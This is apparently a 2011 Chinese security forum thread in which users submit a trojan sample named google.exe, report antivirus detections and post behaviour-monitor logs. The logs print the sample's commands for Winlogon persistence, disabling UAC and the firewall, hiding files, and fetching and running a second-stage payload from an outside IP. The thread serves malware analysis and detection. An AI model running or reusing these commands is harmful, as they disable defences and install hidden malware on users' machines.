GOOGLE VIRUS 4.24 36楼更新

显示全部楼层 · 发表于 2011-4-21 17:50:56

本帖最后由 kurakimai 于 2011-4-24 23:55 编辑

麻烦看看行为

谢谢

显示全部楼层 · 发表于 2011-4-21 18:07:30

金山网盾报木马

显示全部楼层 · 发表于 2011-4-21 18:15:26

卡巴剁掉~
Backdoor.Win32.Delf.zes

显示全部楼层 · 发表于 2011-4-21 18:21:22

本帖最后由 hddu 于 2011-4-21 18:24 编辑

2011-04-21 18:07:06 创建文件    操作:允许
进程路径:F:\virus\google\google.exe
文件路径:C:\Program Files\Common Files\Service Share\
触发规则:所有程序规则->%ProgramFiles%设置->%ProgramFiles%\Common Files\*\

2011-04-21 18:07:06 运行应用程序    操作:允许
进程路径:F:\virus\google\google.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c copy /y "F:\VIRUS\GOOGLE\google.exe" "C:\Program Files\Common Files\Service Share\lsass.exeX" && move /y "F:\VIRUS\GOOGLE\google.exe" "C:\Program Files\Common Files\Service Share\lsass.exe" && reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon" /v userinit /t reg_sz /d "C:\WINDOWS\system32\userinit.exe,C:\Program Files\Common Files\Service Share\lsass.exe" /f
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe

2011-04-21 18:07:09 运行应用程序    操作:允许
进程路径:F:\virus\google\google.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c cmd REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f && netsh firewall set opmode disable
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe

2011-04-21 18:07:10 运行应用程序    操作:阻止并结束进程
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\cmd.exe

显示全部楼层 · 发表于 2011-4-21 18:26:26

to mse

显示全部楼层 · 发表于 2011-4-21 18:32:16

回复 1楼 kurakimai 的帖子

2011-4-21 18:23:41 创建新进程允许
进程: c:\windows\explorer.exe
目标: d:\我的文档\desktop\google.exe
命令行: "D:\我的文档\Desktop\google.exe"
规则: [应用程序]*

2011-4-21 18:23:50 创建新进程允许
进程: d:\我的文档\desktop\google.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\WINDOWS\system32\cmd.exe" /c copy /y "D:\我的文档\DESKTOP\google.exe" "C:\Program Files\Common Files\Service Share\lsass.exeX" && move /y "D:\我的文档\DESKTOP\google.exe" "C:\Program Files\Common Files\Service Share\lsass.exe" && reg add "hkey_local_machine\softw
规则: [应用程序]*

2011-4-21 18:23:51 修改文件允许
进程: c:\windows\system32\cmd.exe
目标: D:\我的文档\Desktop\google.exe
规则: [文件组]所有执行文件 -> [文件]*; *.exe

2011-4-21 18:23:51 创建文件允许
进程: c:\windows\system32\cmd.exe
目标: C:\Program Files\Common Files\Service Share\lsass.exe
规则: [文件组]所有执行文件 -> [文件]*; *.exe

2011-4-21 18:23:51 创建新进程允许
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\reg.exe
命令行: reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon" /v userinit /t reg_sz /d "C:\WINDOWS\system32\userinit.exe,C:\Program Files\Common Files\Service Share\lsass.exe" /f
规则: [应用程序]*

2011-4-21 18:23:52 修改注册表值允许
进程: c:\windows\system32\reg.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\userinit
值: C:\WINDOWS\system32\userinit.exe,C:\Program Files\Common Files\Service Share\lsass.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon; Userinit

2011-4-21 18:23:52 创建新进程允许
进程: d:\我的文档\desktop\google.exe
目标: c:\program files\common files\service share\lsass.exe
命令行: "C:\Program Files\Common Files\Service Share\lsass.exe"
规则: [应用程序]*

2011-4-21 18:23:53 设置文件隐藏属性允许
进程: c:\program files\common files\service share\lsass.exe
目标: C:\Program Files\Common Files\Service Share\lsass.exe
规则: [文件组]所有执行文件 -> [文件]*; *.exe

2011-4-21 18:24:03 创建新进程允许
进程: c:\program files\common files\service share\lsass.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\WINDOWS\system32\cmd.exe" /c cmd REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f && netsh firewall set opmode disable
规则: [应用程序]*

2011-4-21 18:24:03 创建新进程允许
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
规则: [应用程序]*

2011-4-21 18:24:03 访问网络允许
进程: c:\program files\common files\service share\lsass.exe
目标: TCP [本机 : 1073] -> [109.94.220.66 : 80 (http)]
规则: [网络]任意协议 [本机 : 任意端口] <-> [任意地址 : 任意端口]

2011-4-21 18:24:04 创建文件允许
进程: c:\program files\common files\service share\lsass.exe
目标: C:\WINDOWS\Temp\3709.exe
规则: [文件组]系统执行文件 -> [文件]c:\windows\*; *.exe

2011-4-21 18:24:26 创建新进程允许
进程: c:\program files\common files\service share\lsass.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\WINDOWS\system32\cmd.exe" /c "C:\WINDOWS\Temp\3709.exe"
规则: [应用程序]*

2011-4-21 18:24:31 创建新进程允许
进程: c:\windows\system32\cmd.exe
目标: c:\windows\temp\3709.exe
命令行: C:\WINDOWS\Temp\3709.exe
规则: [应用程序]*

2011-4-21 18:24:34 创建新进程允许
进程: c:\windows\temp\3709.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\WINDOWS\system32\cmd.exe" /c move /y "C:\WINDOWS\TEMP\3709.exe" "C:\Program Files\Common Files\Program Shared\Isass.exe"
规则: [应用程序]*

2011-4-21 18:24:35 修改文件允许
进程: c:\windows\system32\cmd.exe
目标: C:\WINDOWS\Temp\3709.exe
规则: [文件组]系统执行文件 -> [文件]c:\windows\*; *.exe

2011-4-21 18:24:35 创建新进程允许
进程: c:\windows\temp\3709.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\WINDOWS\system32\cmd.exe" /c reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon" /v Shell /t reg_sz /d "Explorer.exe, C:\Program Files\Common Files\Program Shared\Isass.exe" /f
规则: [应用程序]*

2011-4-21 18:24:36 创建文件允许
进程: c:\windows\system32\cmd.exe
目标: C:\Program Files\Common Files\Program Shared\Isass.exe
规则: [文件组]所有执行文件 -> [文件]*; *.exe

2011-4-21 18:24:36 创建新进程允许
进程: c:\windows\temp\3709.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\WINDOWS\system32\cmd.exe" /c reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon " /v Shell /t reg_sz /d "Explorer.exe, C:\Program Files\Common Files\Program Shared\Isass.exe" /f
规则: [应用程序]*

2011-4-21 18:24:37 修改注册表值允许
进程: c:\windows\system32\reg.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
值: Explorer.exe, C:\Program Files\Common Files\Program Shared\Isass.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon; Shell

2011-4-21 18:24:38 创建新进程允许
进程: c:\windows\temp\3709.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\WINDOWS\system32\cmd.exe" /c attrib +h "C:\Program Files\Common Files\Program Shared\Isass.exe"
规则: [应用程序]*

2011-4-21 18:24:39 创建新进程允许
进程: c:\windows\temp\3709.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\WINDOWS\system32\cmd.exe" /c attrib +h "C:\Program Files\Common Files\Program Shared"
规则: [应用程序]*

2011-4-21 18:24:40 创建新进程允许
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\attrib.exe
命令行: attrib +h "C:\Program Files\Common Files\Program Shared\Isass.exe"
规则: [应用程序]*

2011-4-21 18:24:43 设置文件隐藏属性允许
进程: c:\windows\system32\attrib.exe
目标: C:\Program Files\Common Files\Program Shared\Isass.exe
规则: [文件组]所有执行文件 -> [文件]*; *.exe
小毒……

显示全部楼层 · 发表于 2011-4-21 18:36:42

ess kill

显示全部楼层 · 发表于 2011-4-21 18:51:41

本帖最后由梦中明月于 2011-4-21 18:52 编辑

http://cima.security.comodo.com/ ... 2de14fce6ddbba7.htm
这是毛豆报的
刚进BBT 还不怎么会答题，请见谅

显示全部楼层 · 发表于 2011-4-21 18:55:17

to avast

显示全部楼层 · 发表于 2011-4-21 18:57:12

eset kill
C:\Users\微亿毫\Desktop\google.rar > RAR > google.exe - Win32/TrojanDownloader.Delf.QLK 特洛伊木马

[病毒样本] GOOGLE VIRUS 4.24 36楼更新

本帖子中包含更多资源

评分